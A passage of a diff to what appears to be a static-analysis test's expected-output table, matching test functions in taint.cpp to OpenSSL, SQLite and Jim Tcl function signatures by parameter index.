arithAssignments | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ASN1_tag2str | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Jim_SignalId | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | PKCS12_init | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | Symbol_Nth | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_tolower | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | ossl_toupper | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | pulldown_test_framework | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_errstr | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | tls1_alert_code | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | tls13_alert_code | 0 | +| taint.cpp:22:5:22:13 | increment | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2str | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Jim_SignalId | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | PKCS12_init | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | Symbol_Nth | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_tolower | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | ossl_toupper | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | pulldown_test_framework | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | sqlite3_errstr | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | tls1_alert_code | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | tls13_alert_code | 0 | +| taint.cpp:23:5:23:8 | zero | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2str | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Jim_SignalId | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | PKCS12_init | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Symbol_Nth | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_tolower | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_toupper | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | pulldown_test_framework | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_errstr | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | tls1_alert_code | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | tls13_alert_code | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 1 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:142:5:142:10 | select | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:142:5:142:10 | select | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:142:5:142:10 | select | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:142:5:142:10 | select | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 1 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:142:5:142:10 | select | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:142:5:142:10 | select | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:142:5:142:10 | select | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | +| taint.cpp:142:5:142:10 | select | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,SSL *,int) | | create_ssl_connection | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 1 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:142:5:142:10 | select | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_purpose | 1 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_trust | 1 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:142:5:142:10 | select | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:142:5:142:10 | select | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:142:5:142:10 | select | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:142:5:142:10 | select | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:142:5:142:10 | select | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:142:5:142:10 | select | (acttab *,int,int) | | acttab_action | 1 | +| taint.cpp:142:5:142:10 | select | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:142:5:142:10 | select | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:142:5:142:10 | select | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL *,int,int) | | apps_ssl_info_callback | 1 | +| taint.cpp:142:5:142:10 | select | (const SSL *,int,int) 